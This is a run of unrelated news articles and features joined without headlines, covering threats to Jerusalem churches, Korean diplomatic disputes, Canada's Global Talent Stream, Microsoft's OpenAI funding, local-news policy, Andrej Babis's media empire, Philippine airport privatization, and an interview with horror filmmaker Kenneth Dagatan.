Our churches are threatened by Israeli radical fringe groups. At the hands of these Zionist extremists the Christian community in Jerusalem is suffering greatly. Our brothers and sisters are the victims of hate crimes. Our churches are regularly desecrated and vandalized. Our clergy are subject to frequent intimidation, he continued.

He believed the sworn intent of these radical groups is to extinguish the light of the Christian community from the Old City.

The patriarch noted that these radical groups, which were not representative of the state of Israel or the Jewish people, were seeking to occupy through illegitimate transactions two big buildings at the Jaffa Gate area, which lies on the pilgrim route to the Church of the Holy Sepulchre. The church was built on the spot where both Roman Catholics and Orthodox Christians believe Jesus was crucified, buried and resurrected.
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42nd Chinese naval escort taskforce conducts maneuvering exercise

China Military Online) 13:53, January 24, 2023

Vessels attached to the 42nd Chinese naval escort taskforce steam in formation in the waters of the Gulf of Aden during a maneuvering exercise in early January 2023. The exercise aimed to hone the taskforces capabilities of commanding and maneuvering vessels. (eng.chinamil.com.cn/Photo by Wang Qing)

(Web editor: Peng Yukai, Liu Ning)
A Korean People's Army (KPA) guide walks aboard the USS Pueblo at the Victorious Fatherland Liberation War Museum in Pyongyang, in this July 28, 2017 file photo. AFP-Yonhap



The U.S. House of Representatives passed a resolution last week calling for the return of a U.S. Navy ship seized by North Korea 55 years ago.



The resolution calls for the return of USS Pueblo while denouncing North Korea's seizure of the ship and its crew Jan. 23, 1968.



The House "maintains North Korea's seizure of the vessel USS Pueblo and its detention of the crew were in violation of international law," it states.



It also adds the House "declares that USS Pueblo is the property of the United States government and it should be returned to the United States."



North Korea's official Rodong Sinmun newspaper reported Saturday that Pyongyang will wipe out "not only a port or an airfield of a warmonger or invader but their entire land if a second USS Pueblo enters our territorial waters again."



The ship and its 83 crewmembers were seized while on an intelligence gathering mission in the East Sea.



The House resolution argued the ship had "strict orders to remain at all times at a distance more than 13 nautical miles from the near point in North Korean territory, in order to avoid any possible incident."



"The United States has no reason to believe the orders were not obeyed," it added, also noting the ship was carrying three 50-caliber machine guns at the time of its seizure, but that not a single shot had been fired.



One of the crewmembers, Fireman Duane Hodges, died on the day during the North Korean seizure of the Pueblo. His body and the other 82 sailors were repatriated in December 1968 after being detained in the North for 11 months.



The crew and their family members filed a damage suit against North Korea in 2018 for the "mental and physical abuse" they were exposed to during their time in the reclusive country.



A U.S. federal district court ruled against the North in 2021, ordering it to pay over $2 billion in total or a minimum of $3.35 million to each of the crewmembers in compensation. (Yonhap)


A national flag-hoisting ceremony is held at Kim Il Sung Square in Pyongyang, North Korea, Jan. 1. AP-Yonhap





Julie Turner /Yonhap

The foreign ministry welcomed the nomination of a new U.S. special envoy for North Korean human rights, Tuesday, saying South Korea will further strengthen cooperation with the United States to improve the North's human rights situation.



The White House announced earlier that Julie Turner, director of East Asia and the Pacific at the State Department's bureau of democracy, human rights and labor, has been nominated to serve as special envoy for North Korean human rights issues.






What is the Global Talent Stream? Julia Hornstein Aa Accessibility Font Style Serif

Sans Font Size A

A

The Global Talent stream is part of Canadas Temporary Foreign Worker Program (TFWP), which is intended to be used when there are labour and skill shortages and there are no Canadians or permanent residents available to fill positions.

Schedule a Free Work Permit Consultation with the Cohen Immigration Law Firm

The Global Talent stream helps innovative firms in Canada access highly skilled global talent. The stream is designed for firms that are referred to Employment and Social Development Canada by a designated referral partner and that are in need of skilled and specialized foreign nationals in order to grow. It is also for firms that need to fill an in demand, highly skilled position on the Global Talent Occupations List.

The Global Talent stream is a two-step process. First, employers submit a Labour Market Impact Assessment (LMIA) application that demonstrates that there will be a positive or neutral effect on the Canadian labor market if the employer hires the foreign national. Employment and Social Development Canada (ESDC) aims to process Global Talent Stream applications within 10 business days. Once this application is processed, the foreign worker can apply for a work permit.

There are two categories under the Global Talent Stream

Category A

Category B

Category A

The category is designed for companies that are referred to Employment and Social Development Canada by a designated referral partners, and who need specialized foreign nationals to fill an in-demand position.

The list of designed referral partners for employers outside Quebec can be found here.

Category B

This category is designed for employers looking to hire skilled foreign workers for occupations on the Global Talent Occupations List. The occupations on this list are in demand in Canada are lacking sufficient labor supply.

What are the employer requirements for the Global Talent Stream?

Employers in both categories must develop a Labour Market Benefits Plan, which demonstrates the employers commitment to activities that have lasting and positive impacts on the Canadian labor market. Category A employers are required to commit to creating jobs for Canadian citizens and permanent residents, while Category B employers are required to commit to increasing investments in skills and training for Canadian citizens and permanent residents.

In addition, employers in both categories must commit to two more complementary benefits, with at least one activity for each benefit. These complementary benefits can include, but are not limited to, creating jobs, co-op or internship programs, training current employees in new techniques or implementing best practices or policies as an employer for your workforce.

Employers in both categories must also meet conditions relating to the payment of skilled workers. Foreign skilled workers hired through the Global Talent Stream must be paid at the prevailing wage or higher. The prevailing wage is defined as the highest figure of either:

the median wage for the occupation on the Government of Canadas job bank;

the wage within the range an employer pays current employees in the same position at the same location, with the same skills and experience level;

the minimum wage floor as defined in the Global Talent occupations list (if applicable).

Although the Global Talent Stream has various benefits for Canadian employers looking to fill labor and skill shortages, it can also be an effective way for foreign nationals to gain Canadian work experience. Canadian work experience can be extremely beneficial for foreign nationals who are looking to eventually apply for permanent residence.

Schedule a Free Work Permit Consultation with the Cohen Immigration Law Firm

 CIC News All Rights Reserved. Visit CanadaVisa.com to discover your Canadian immigration options.




A North Korean propaganda outlet on Tuesday criticized President Yoon Suk Yeol's recent remarks on Iran's relations with the United Arab Emirates (UAE), noting they drew Tehran's wrath and created a "commotion" in the South.







During a recent visit to a South Korean military contingent in the UAE, Yoon said that the UAE's "enemy and biggest threat" is Iran while the South's enemy is North Korea.







The Tongil Shinbo, a weekly publication, made the first mention of Yoon's remarks by a North Korean media outlet.







The outlet pointed out that due to the "single" remark, a commotion flared up in the South, apparently in reference to the opposition party's criticism of the remark, while Iran has voiced anger and demanded the South clarify its position.







South Korean officials have said that the remark was made as part of efforts to encourage the members of the contingent, and that Yoon's comments were "irrelevant" to Seoul's relations with Tehran. (Yonhap)


OpenAI has landed billions of dollars more funding from Microsoft to continue its development of generative artificial intelligence tools such as Dall-E 2 and ChatGPT. A move that is likely to unlock similar investments from competitors  Google in particular  and open the way for new or improved software tools for enterprises large and small.

Microsoft stands to benefit from its investment in three ways. As a licensee of OpenAIs software it will have access to new AI-based capabilities it can resell or build into its products. As OpenAIs exclusive cloud provider it will see additional revenue for its Azure services, as one of OpenAIs biggest costs is providing the computing capacity to train and run its AI models. And as an investor it can expect some return on its capital, although this will be limited by OpenAIs status as a capped-profit company governed by a nonprofit.

The deal, announced by OpenAI and Microsoft on Jan. 23, 2023, is likely to shake up the market for AI-based enterprise services, said Rajesh Kandaswamy, distinguished analyst and fellow at Gartner: It provides additional impetus for Google to relook at its roadmap. Its the same for other competitors like AWS, he said.

Ritu Jyoti, IDCs global AI research lead, sees more than just AI bragging rights at stake here. There is a big battle brewing between the three hyperscalers  Amazon, Google, and Microsoft  and its not just about AI. Its going to drive whos going to be supreme in the cloud because this requires tons and tons of compute, and theyre all fighting with each other. Its going to get ugly, she said.

Employees are already experiencing some of that ugly: Since the start of the year, Microsoft, Amazon, and Google parent Alphabet have all announced massive layoffs as they seek to refocus on growth markets and invest in AI.

Billion-dollar brain

Rumors that Microsoft could invest as much as $10 billion to grow its AI business broke in early January. The company has been a supporter of OpenAIs quest to build an artificial general intelligence since its early days, beginning with its hosting of OpenAI experiments on specialized Azure servers in 2016. In July 2019 it became OpenAIs exclusive cloud provider and invested $1 billion in the company to support its quest to create artificial general intelligence. In 2020, Microsoft became the first to license OpenAIs Generative Pre-trained Transformer (GPT) AI software for inclusion in its own products and services. Up to that point, OpenAI had only allowed enterprises and academics access to the software through a limited API.
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Its understandable that the idea that government should help save local media makes many journalists skin crawl. How can reporters get support from one of the institutions were supposed to be holding accountable?

In this case, journalists should rethink their concerns. Heres why:

The local news crisis is severeand on a scale beyond the capacity of philanthropy alone. More than 1,800 communities have no local news. Thousands more have ghost newspapers that barely cover their communities. The number of reporters per 100,000 people has dropped 62 percent since 2004.

Newspapers saw a drop in advertising revenue of $40 billion or 82 percent since 2000. By contrast, philanthropic efforts contribute a few hundred million each year. They can do more, but they wont be able to do it alone.

Less local news leads to lower voter turnout, less civic participation in Parent Teacher Associations and other groups, more corruption, higher taxes, and lower bond ratings. And in general it makes it harder for voters to hold elected officials accountable, and for communities to solve their problems.

In the past, government has devised policies that protected editorial independence. The Founding Fathers believed it was crucial to have not just the right to a free press but the reality of a functioning free press. So they decided to give a massive subsidy to newspapers. The Post Office Act of 1792 gave a lower postage rate to newspapers. In 1801, 45 percent of all pieces of mail were periodicals but the publications covered only 8 percent of the costs.

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The postal subsidy spurred the growth of a robust local newspaper systemmore than any other country, observed Alexis de Tocqueville approvingly: It would diminish their importance to believe that [newspapers] serve only to guarantee liberty; they maintain civilization.

Key to the laws success was its neutrality: There were no government officials giving out grants. Newspapers of all sorts benefited, according to a simple, transparent formula (based on distance traveled).

At other points, policymakers have helped shape the media landscape without direct subsidies. The Federal Communications Commission decision to give out licenses locally, instead of nationally (as had been done in other countries), led to our system of local TV news and radio. The FCC also decided to give out licenses for noncommercial broadcasterslaying the groundwork for public radio and TV. The Public Broadcasting Act of 1967 helped create the modern system of public TV and radio by providing subsidies to hundreds of local public broadcasting stations.

Its also worth noting that we have had no problem with the government providing massive packages of assistance to American industries that were deemed important to the country, including the auto industry and the financial sector. A vibrant, free local press is as important to the country as those industries.

Local news is a public good. If consumers arent willing to support local news, why should taxpayers? Because it is what economists call a public good. This means it involves products and services that might not make for a viable business but have significant, and often diffuse, value to residents.

For instance, having good coverage of schools likely helps parents be more engaged, which helps improve the quality of schools. Coverage of municipal government leads to higher bond ratings. Coverage of polluters leads to fewer toxins in the air. Coverage of candidates makes democracy function better and ultimately makes it easier for communities to solve their own problems.

Think about libraries. We have never said, We only need bookstores because if people arent willing to pay for it, its not important. Rather, weve said we need both bookstores and libraries because profit-driven and public-interest-driven activities are complementary but different. We must now think of certain types of local reporting as a community resource that needs community support.

Time is of the essence. On average, two newspapers are shuttering each week. News deserts are spreading. Ghost papers are proliferating. Layoffs continue.

And new bad-faith actors have created more than 1,000 shady websites masquerading as local news sites. Much of it is created by Democratic and Republican political activists, funded by dark political money. They mimic the attributes of real local news but actually are there to push particular candidates or parties. The only way to block them is with a stronger, real local press.

If we dont act, we are spiraling toward the creation of a tribal press for local newsbased on partisan harangues, not community reportingjust as we have for national cable TV.

All of this is why a remarkably broad range of media and civic groupsincluding free-press groupshave formed a new organization, Rebuild Local News. Building on the work of an informal coalition that started in 2020, we are now enthusiastic advocates for certain types of urgent government action, as part of a multifaceted effort to revitalize community journalism.

Here is our grand plan for how to save local news through policies that dont endanger editorial independence. It includes:

A tax credit for consumers to subscribe to or donate to local news

A tax credit for small businesses to advertise in local news

A tax credit for local news organizations to hire and retain local journalists

These work mostly by amplifying the buying power of thousands or millions of local players, without relying on someone at a government agency to give out grants. There are other ideas out there that could accomplish similar goals without undermining the First Amendment.

Government support is not the only or even primary way to save local news. Ive spent more than a decade pushing various efforts to help grow the nonprofit sector of local news and draw in philanthropic support from donors large and small. It is also imperative that the commercial media sector continue to innovate and improve their business models. While I do not think they will, by themselves, be able to generate the kinds of revenue needed to support good, civically valuable journalism on the local level, we also cannot get there without for-profit newsrooms, grounded deeply in communities. Part of energizing both the for-profit and nonprofit sectors will be creating new ownership structures and forms of financing.

But given the severity of the crisisand the urgencythose thrusts will be necessary but not sufficient.

Indeed, government policies of the right sort could help both commercial business models to grow, financing pools to accumulate, and nonprofit local news to expand. We shouldnt view public policy as being a substitute for the other steps that are essential, but rather as a way of making it more likely that those private efforts will succeed.

Well-designed public policy can also help with sustainability in the long run. For instance, many publications have concluded that advertising alone will not be enough and that they need to bring in more revenue via subscriptions. But especially in lower-income and smaller-population areas, its hard to get enough people to subscribe. A subsidy for people who subscribe would ride atop the purchasing choices of consumers but give them more buying poweryet a publication would still only benefit if it makes its offerings good enough to merit consumer interest.

We understand the anxiety about government involvement. And policy must be constructed carefully. But it can be doneand has been donein a way that can save local news while preserving editorial independence. We are now seeing the beginning of a movement to chart that course.

Steve Waldman is President of Rebuild Local News and co-founder of Report for America.
Last September, Andrej Babis, the former prime minister of the Czech Republic, appeared on the front pages of two major newspapers in that country. This was not in itself unusualBabis was about to stand trial on charges that he had fraudulently claimed European Union business subsidies (he was later acquitted)but the front pages didnt feature news but identical full-page ads, with images of Babis peering, inquiringly, over his glasses, and the caption, Do you believe the media? in blocky text. Smaller text underneath suggested that the mainstream press only tells part of the story and encouraged readers to instead tune into a weekly show that Babis himself hosts on social media. And something united the papers that ran the adsthey are owned by Andrej Babis. Many Czech journalists were furious about the ads. Robert Casensky, the editor in chief of Reporter, an independent investigative magazine, wrote afterward that Babiss ownership of the papers had resulted in their absolute humiliation.

Casensky would know: ten years ago, he was the top editor at one of the papers, Mlada fronta DNES, when Babis acquired it. At the time, Mlada fronta DNES was pretty known for investigative reporting We uncovered something and it became the main political issue on the domestic scene, Casensky told me. When Babis took over the paper, he tried to convince Casensky, over the course of several meetings, that the papers hard-hitting reputation wouldnt change under his ownership, but Casensky explained to Babis that it would change, and that hed decided to quit. I think its impossible to do credible investigative journalism when your owner is also the owner of two hundred and thirty other companies and one political party, Casensky told me. Even if you are an angel, that wouldnt be the same situationand he is not an angel.

ICYMI: A Recession by Any Other Name

Over the years, Babis has been compared to Donald Trump, Silvio Berlusconi (or Babisconi), and Darth Vader. He was born in 1954, in the old Czechoslovakia, and eventually started working there for a chemical company. He has since faced accusations, based on historical files, that he also worked as an agent for the communist-era secret police; Babis has denied this and sued the institute that holds his files for defamation but the case was thrown out last year. He began building a business empire amid the mass post-communist privatizations of the early nineties and would eventually become one of the richest men in the new Czech Republic. (Forbes currently ranks his net worth as the 677th highest in the world.) Babis entered politics in 2011 at the head of ANO, a new partywhose name means Yes in Czech and is also an acronym for Action of Dissatisfied Citizensthat campaigned on an anti-establishment and anti-corruption platform. After entering Parliament in 2013the same year that he acquired Mlada fronta DNES and its sister paperBabis became finance minister and deputy prime minister; in 2017, he became prime minister. He lost power following elections four years later. Around the same time, his name appeared in the Pandora Papers, an international journalistic investigation of financial tricks exploited by the global super-rich.

Now Babis is attempting a comeback as the Czech Republics president. It is a role that, on paper, confers far less power than that of prime minister. But it comes with important responsibilities and visibility and its constitutional bounds can be pushedas the outgoing president, Milos Zeman, a hard-edged populist and Babis ally who once joked with Vladimir Putin about liquidating journalists, has shown. In the first round of voting last weekend, Babis advanced to a runoff against Petr Pavel, a former general and high-ranking NATO official who resembles a Hallmark-movie Santa Claus, with some observers casting the race as a referendum on the Czech Republics orientationpro-Western establishmentarian or populistat a time of war and rising tension in Europe. Babis has both compared Pavel to Putin and insinuated, via campaign billboards, that Pavel will drag the Czech Republic into a hot war with Russia. Voters will pick a winner this weekend. Pavel is favored.

Unlike Pavel, Babis is estimated to own a little under a third of the Czech media industrynot only the two papers that ran his recent media-bashing front pages, but also TV and radio stations and a stable of lifestyle magazines. Despite the message sent by those recent front pages, the extent of Babiss influence over his media propertiesand of their influence over Czech votersis not totally clear. Babis has said that he exerts no control over his media business, which he was forced to place into a trust after lawmakers passed a bill barring ministers from owning media assets. The trust, is very much still controlled by him, and everyone knows that, alleged Jiri Pehe, a political analyst who leads New York Universitys Prague outpost. But Babiss papers, in particular, present themselves as independent and still do some credible journalism. I couldnt say that its clear propaganda, Casensky said. Its not.

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Still, outlets owned by Babis have routinely been accused of boosting him while denigrating his political opponents, often in subtle waysthe downgrading of a story about one of Babiss many scandals, for instancesometimes more overtly. On occasion, Babis or people close to him are reported to have meddled directly with journalists at his titles. And Vojtech Berger, a reporter who has closely covered Babis and Czech media for the independent news site HlidaciPes, told me that ahead of important moments in Czech politics, lifestyle magazines owned by Babis, which appeal to mass audiences and arent known for their political content, have splashed puff pieces portraying him as a simple family man. Last summer, one of the magazines ran a smear campaign against the Czech public broadcaster, Berger said. It was like, Blueberry cake! Ice cream! Summer! Holiday!  The Czech public-service broadcaster is really something, we should abolish it. (Babiss media company did not return my request for comment.)

Compared to neighboring countries such as Hungary, where Viktor Orban, the authoritarian prime minister, has significantly squeezed independent media, the Czech Republic has a relatively pluralistic media ecosystem, Pehe told me, limiting the reach and impact of outlets owned by Babis. (Indeed, the country sits a healthy twentieth, out of a hundred and eighty countries worldwide, on Reporters Without Borders World Press Freedom Index.) But Babis has sought to undermine the Czech media in other ways, and not just via his recent ads. As prime minister, he was accused of attempting to erode the independence of Czech public broadcasters, which enjoy high levels of public trust, including by weaponizing appointments to their oversight boards. (He has denied this.) In 2021, after he appeared in the Pandora Papers, Babis cast the International Consortium of Investigative Journalists, which coordinated the investigation, as being in cahoots with a domestic mafia and banned the groups partner outlets from a campaign event, with a reporter for one of the outlets physically elbowed aside when she tried to ask Babis a question. He has bashed the press again during his campaign for president.

And the Czech Republics RSF ranking should not invite complacency as to the overall health of its media ecosystem, large swaths of which have come under the control of oligarchs who, since the financial crash of the late 2000s, have snapped up the assets of Western European media companies looking to leave the Czech market. Babis may have fired the starting gun on this process with his 2013 acquisitions, but he is only one of a handful of oligarchsall with substantial business interests in other industries, not least energyto have taken advantage (as I wrote in 2021 after one of them was killed in a helicopter crash in Alaska). Indeed, the other oligarchs bought into media companies, in no small part, to retain leverage and what has been described as a balance of power with Babis. Recently, reports have circulated suggesting that Babis may seek to sell his media group, depending on the result of the coming election. The most likely buyer would seem to be another oligarch, Daniel Kretinsky, already a major media player in both the Czech Republic and France, where he owns a stake in Le Monde.

The growing financial interest of oligarchs in European media is a transnational trend, one that is becoming particularly common in countries neighboring the Czech Republic. As I wrote in 2021, this trend has often gone under the radar in Western-media analysis of declining press freedom, with media-bashing politicians tending to get more attention. In some respects, Babis represents both threats, rolled into one. By this time next month, he may again enjoy both institutional and media power, or one or the other, or neither, depending on what happens with the election and his media group. But the broader trends he represents will continue either way.

Those trends have made life difficult for smaller independent outlets to thrive, but they have continued to aggressively needle those in power, not least in the Czech Republic, where such outlets are often populated with exiles from Babiss media empire. Casensky told me that he left Mlada fronta DNES and founded Reporter magazine not only to escape Babis, but because he didnt want to work for an oligarchs company, whoever that oligarch may be. Recently, Reporter held a round of interviews with candidates for the Czech presidency and Babis showed up, to Casenskys surprise; he had skipped a similar exercise when he was prime minister. Casensky reckons that Babis wanted to come across as conciliatory and presidential during the first round of the election, a tactic that he has since abandoned in favor of his rougher edges. You cant change yourself at the age of sixty-eight, Casensky said. You cant start to be a nice person.



Other notable stories:

ICYMI: Covering the new Congress

Jon Allsop is a freelance journalist whose work has appeared in the New York Review of Books, Foreign Policy, and The Nation, among other outlets. He writes CJRs newsletter The Media Today. Find him on Twitter @Jon_Allsop.
Nasser Kanaani, Iranian Foreign Ministry spokesperson / AFP-Yonhap



By Kwon Mee-yoo



A diplomatic row between South Korea and Iran, sparked by President Yoon Suk Yeol's reference to Tehran as the "enemy" of the United Arab Emirates during his recent state visit to the UAE, is showing few signs of abating.



Despite Seoul's efforts to placate Tehran by explaining that Yoon was quoted out of context, Iran reacted by saying what South Korea has done so far is "insufficient."



According to Iran's state-run Islamic Republic News Agency (IRNA), Iranian Foreign Ministry spokesperson Nasser Kanaani said Monday that while Tehran acknowledges Seoul's efforts, it is not satisfied with the level of cooperation provided.



This is the first official response from the Iranian government after both countries summoned each other's envoys over the row.



The Iranian foreign ministry spokesman made the remarks in response to a journalist's inquiry about recent diplomatic issues involving Iran, including the South Korean leader's comments, Chinese President Xi Jinping's support of Saudi Arabia's claim to three islands in the Persian Gulf, and the use of the term "Arabian Gulf" instead of "Persian Gulf" by the Iraqi prime minister.



As Iran continues to take a firm stand against Yoon's remarks, an official from the South Korean presidential office expressed regret over Tehran's reaction.



"As the commander in chief of the military, President Yoon told the soldiers based in the UAE what they should do and to face and deal with the grave security situation accordingly," he said. "His remarks came against this backdrop."










The South Korean government has called in a Japanese diplomat in Seoul to lodge a protest over the top Japanese diplomat's recent claims to the East Sea islets of Dokdo, sources said Tuesday.







Seo Min-jung, director general for Asia and Pacific affairs at Seoul's foreign ministry, brought in Naoki Kumagai, deputy chief of mission at the Japanese Embassy here on Monday, after Japanese Foreign Minister Yoshimasa Hayashi laid claim to Dokdo in a parliamentary policy speech.







Following Hayashi's speech, Lim Soo-suk, the spokesperson of Seoul's foreign ministry issued a statement calling for an immediate retraction of the remarks on Dokdo.







"The repetition of wrongful claims would not be of any help in joint efforts to establish a 'future-oriented' relationship," the statement reads.







Seo appears to have repeated the ministry's stance in talks with Kumagai.







Tokyo's renewed claims to Dokdo came as the two countries have been mired in other historical spats, such as those over Japan's wartime forced labor, despite their efforts to strengthen security coordination in the face of evolving North Korean nuclear and missile threats.







South Korea has been in effective control of Dokdo, with a small police detachment, since its liberation from Japan's 1910-45 colonial rule. (Yonhap)


Metro Manila (CNN Philippines, January 24)  Transportation Secretary Jaime Bautista clarified on Tuesday that the government's plan to privatize the Ninoy Aquino International Airport (NAIA) would only involve its operations not its assets.

"Ang ibig sabihin ng presidente, hindi naman natin ibibigay sa private sector yung assets ng NAIA. Ang ibig niyang sabihin, its the private sector who will manage the operations," he said during a Palace briefing.

[Translation: The president didnt mean we will sell the NAIA assets to the private sector. What he meant was that the private sector will manage the operations.]

The transportation chief said this could be done through a concession agreement.

Bautista noted that the Philippine government has already been doing this in Cebu and Clark.

"Cebu is operated by GMR-Megawide although yung asset naman ay asset talaga ng gobyerno kaya hindi naman na-privatize yung infrastructure. This is also the same with the operations of the Clark International Airport, yung asset remained with the government but yung operations ay ginagawa ng private sector," he said.

[Translation: Cebu is operated by GMR-Megawide although the asset is actually a government asset so the infrastructure has not been privatized. This is also the same with the operations of the Clark International Airport, where the asset remains with the government but the operations are managed by the private sector.]

Asked if air travelers would have to pay for higher fares or services once NAIA is privatized, Bautista said it was "not automatic" since the regulatory function will remain with the government.

Last month, Bautista said the government was already working on provisions in the implementing rules and regulations (IRR) of the publicprivate partnership to make it "investor friendly."

He also said the best privatization practices of other countries would be adopted.
Metro Manila (CNN Philippines, January 24)  Dolly de Leon is on a roll.

The Filipina thespian bagged another best supporting actress trophy for her role in the critically acclaimed Triangle of Sadness at the 2022 Guldbbage Awards.

Triangle of Sadness also won other accolades including best film, best direction for Ruben Ostlund, best actor in a supporting role for Zlatko Buric, best costume design, and best mask design.

De Leon has also won best supporting performance at the 2022 Los Angeles Films Critics Association Awards held in December.

She also recently made history for being nominated for the same category in the Golden Globe Awards and the British Academy Film Awards.

In the Cannes-winning movie, De Leon plays the role of Abigail, a toilet manager at a luxurious yacht who found herself in a position of power while stranded on an island with rich strangers.

According to its website, the Guldbagge Awards are Swedens leading film awards and have been presented since 1964.

The awarding ceremony was held in Stockholm, Sweden on Jan. 23.
From long-running franchises like Shake, Rattle & Roll to floating coffins in Magandang Gabi Bayan, horror has always had a special place in Filipino lives. Maybe its the deeply rooted superstitions and the religiosity, or maybe it's the years of colonization and corruption. Either way, horror has always found its way to our screens  as a source not only of cheap thrills but also of connection and community, especially as it reflects many growing anxieties and fears in the modern era.

There are few contemporary Filipino filmmakers left who understand how to communicate these feelings in a film language that gets seared into the brain. So when Kenneth Dagatan, at the time a film student from the University of San Carlos in Cebu, burst into the filmmaking scene in 2015 with Sanctissima, a short film about a woman who feeds her demonic child fetuses she gathers from botched abortions, it felt like there was another person who could be terrifying and affecting in equal measure.

Sanctissima won the audience award at the 2015 Cinemalaya Film Festival, competing alongside then-emerging filmmakers such as Petersen Vargas and Martika Ramirez Escobar. But in that same year, another short film was percolating in his mind  something about a child, a mother, and flesh being eaten; seeds of what would eventually become In My Mothers Skin. But with little clarity and money, Dagatan shelved this project. Instead, he moved from Cebu to Manila and lived out several lives: serving as a bassist and music video director of his former punk rock band Drop Decay, brainstorming and co-writing films like Topel Lees Bloody Crayons for Star Cinema, and collaborating with Rae Red and Jericho Aguado on Tenement 66 for iWant.

Seven years since its inception, In My Mothers Skin has been brought to life as Dagatans sophomore feature. Set in the Philippines during the tail-end of World War II, a young girl named Tala (Felicity Kyle Napuli) accepts aid from a flesh-eating fairy (Jasmine Curtis-Smith) to save her mother (Beauty Gonzalez) to devastating consequences. Recently acquired by Prime Video for VOD release in the last quarter of the year, In My Mothers Skin had its world premiere at the Midnight Section of the 2023 Sundance Film Festival alongside the likes of Brandon Cronenbergs Infinity Pool and Laura Moss birth/rebirth. It will also have its European premiere at the Harbour Section of the 2023 International Film Festival Rotterdam.

In My Mothers Skin contains traces of all of Dagatans work  the gruesome sound design that Sleepy Eyes uses as a source of terror, the imagery of carnage and themes of equivalent exchange and motherhood that defined his debut feature Ma, the panic-inducing atmosphere that remains even after hitting pause in Cignal Plays As You Can See. But here, the gray and chasmic mansion merely highlights how far the family has fallen from grace. As monsters continue to masquerade as saints and every offer of salvation demands an increasingly high price, Dagatans phantasmagorical sophomore feature festers, exposing the desperate lengths that people will go through to protect their families and keep themselves alive.

In anticipation of its back-to-back festival premieres, Dagatan and I spoke just a few days before he flew to Sundance. Below, read our conversation about accessing terror in childhood experiences, communicating with Southeast Asian collaborators through film language, and unintentionally tethering "In My Mother's Skin" to several Filipino classics.

Jasmine Curtis-Smith and Felicity Kyle Napuli in "In My Mother's Skin." Photo courtesy of KENNETH DAGATAN

This interview has been edited for brevity and clarity.

Where were you when you found out you got into Sundance?

Its so funny because while writing the script in 2020, my producers had this dream of going to Sundance. Pero ang hirap makapasok doon! So throughout the process, hindi na namin inisip. Eventually natapos yung film and grabe yung anxiety namin [because] for us, super different siya na film and hindi namin alam kung saan siya ipapalabas.

Gumising ako one day and Brad Liew, our producer [from Epicmedia], messaged me saying: Kenneth, call me. Its an emergency. So nag-panic ako. I felt like may something bad na nangyari sa film. Do we need to revise something? Again? So I messaged Bianca [Balbuena] and she said, casually, that we got into Sundance. Brad was trying to hype up the news.

Di mo lang alam, man. (Screams) To be in the Midnight section. Doon nanggaling ang Blair Witch [Project], Hereditary, The VVitch... and the fact na kami lang yung foreign language entry in the section [this year]? And that were the first Filipino horror film in the Midnight section of the festival? Grabe.

Where did your fascination with horror begin?

I was so scared of horror films. Every time na ine-air yung mga mga Feng Shui or Sukob, natatakot ako. To the point that I said I need to challenge myself. So I watched [Hideo Nakatas] The Ring. That was the first film I ever watched alone na sobrang takot ako. Then na-amaze ako sa effect niya. High school ito ha. Yung napansin ko sa Japanese horror na naging motif or milieu of showing horror; of how they use technology for their scares. Di ko pa naisip yun [at the time]  na baka may sinasabi sila in terms of technology [through horror].

Director Kenneth Dagatan at Sundance Film Festival, where the world premiere of "In My Mother's Skin" was held. Photo courtesy of BIANCA BALBUENA

Ever since, sobrang love ko na ng horror. Pinapanood ko ang lahat. [Even] Eli Roth B-movies na bloody. Until I watched Rosemarys Baby. Doon nagbago yung perspective ko sa kind of horror na gusto kong gawin. Rosemarys Baby proved that you dont need jump scares to scare people. You only need psychological events na sobrang ma-e-engage yung audience... You only need mood and atmosphere. Ang ganda pala nung idea na yun! Naghahanap na ako ng that kind of horror. Kaya pumasok ako sa Martyrs [at] sa mga French Extremity films. I realized that the horror genre has the capacity to say something deeper in terms of themes and discourse na mas nakakatakot pa sa pinapakita mo sa pelikula. Youre showing the real horror of the world but in a way that is creative. Doon ako na-fascinate sa horror genre. Ever since, tina-try kong gumawa ng horror na pinapakita ko pa rin yung real horror of the world.

Youve said before that great horror is rooted in great drama. I know your influences skew towards the West, but were there filmmakers from the Philippines, even ones not in genre fare, that really affected you or you really admired?

Of course. Especially Mike de Leon with Kisapmata. Its a horror film but drama. Even with Lino Brocka. Maraming films na natatakot ako na pinapakita yung mga side ng humans na nakakatakot. Hindi siya horror, pero mas nakakatakot pa siya. For me, yun yung totoong horror films. Si Dodo [Dayao], sobrang fan ako. [Especially] with how he tells his horror stories, na may ghosts siya pero mas may gusto siyang sabihin na mas malalim. Right now, siya lang yung naiisip ko. I mean, of course, Mik[hail Red], with Deleter. Super fan ako.

A huge part of horror, of any film really, is pace. I watched Sleepy Eyes earlier and I think pausing it wouldnt have the same effect as not having control.

Horror has four layers na kailangan mong isipin: tone, mood, atmosphere, and drama. Drama creates the overall atmosphere and themes. But through tone, mood, and atmosphere, doon ka mag-ce-create ng scares, which is super important. Which is why its really hard to shoot. Every after shooting, from Ma to In My Mothers Skin, sinasabi ko ayaw ko nang mag-shoot ng horror film kasi ang hirap. In terms of time, its so demanding to build up suspense through shots. Sobrang demanding on set. Pero doon ko naeenjoy kung bakit ko gustong gumawa. But at the same time, saobrang hirap niyang gawin! (Laughs)

"I realized that the horror genre has the capacity to say something deeper in terms of themes and discourse na mas nakakatakot pa sa pinapakita mo sa pelikula. Youre showing the real horror of the world but in a way that is creative. Doon ako na-fascinate sa horror genre. Ever since, tina-try kong gumawa ng horror na pinapakita ko pa rin yung real horror of the world."

You said that the genesis of Ma was rooted in childhood. What are the roots of In My Mothers Skin and how has it evolved throughout the years? What made you also set it during World War II?

Its funny because I wrote In My Mothers Skin as a short film way back in 2015. After Sanctissima and after Cinemalaya, my mentor [Ruel Antipuesto] told me I needed to make another short film before venturing into feature films. Para lang ready. I wrote In My Mothers Skin. Yung first film that inspired it was a New French Extremity film [by Marina de Van] called In My Skin. Its a self-cannibalism film. Doon [nanggaling] yung first idea ko. Fresh out of college ako noon. Then pinanood ko rin [Guillermo del Toros] Pans Labyrinth and parang wow! Gusto kong i-merge yung ideas na yun! Sinulat ko siya as a short film. Pero, I forgot about it. Ginawa ko yung Ma and Sleepy Eyes because I couldnt find resources to make In My Mothers Skin.

In 2018, nabasa ko siya ulit. After writing a rough draft [for a feature-length version] for Bifan [Project Market], I approached Bianca [Balbuena] to produce it because I love Epicmedia. Sinulat ko siya na wala pa akong idea kung anong gusto kong sabihin. Meron akong story pero hindi ko alam what elements or themes I wanted to discuss. Then the pandemic happened.

